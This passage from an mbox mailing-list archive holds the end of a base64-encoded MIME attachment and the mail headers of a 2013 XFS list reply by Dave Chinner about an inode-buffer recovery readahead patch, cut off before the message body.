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 I9+Nvp9P/6DEPXsAQAcA ------=_NextPart_000_0159_01CEA909.E56B5720-- From david@fromorbit.com Tue Sep 3 18:50:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 16E597F50 for ; Tue, 3 Sep 2013 18:50:35 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 88E14AC002 for ; Tue, 3 Sep 2013 16:50:34 -0700 (PDT) X-ASG-Debug-ID: 1378252228-04cbb02c3cd201b0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id BACSW6Hr5fgKzM7y for ; Tue, 03 Sep 2013 16:50:29 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtYGAMV0JlJ5LJ62/2dsb2JhbABbgweDRLlDhTWBKhd0giQBAQQBJxMcIwULCAMOBwMJJQ8FJQMhE4d8BblPFo4VgUsHhB0Dl3SRZ4MyKoEsAh4G Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail07.adl2.internode.on.net with ESMTP; 04 Sep 2013 09:20:27 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VH0MZ-000507-Mo; Wed, 04 Sep 2013 09:50:23 +1000 Date: Wed, 4 Sep 2013 09:50:23 +1000 From: Dave Chinner To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: inode buffers may not be valid during recovery readahead Message-ID: <20130903235023.GI23571@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: inode buffers may not be valid during recovery readahead References: <1377567577-24312-1-git-send-email-david@fromorbit.com> <20130830181520.GD1935@sgi.com> <20130831061420.GY12779@dastard> <20130903221712.GN1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130903221712.GN1935@sgi.com> 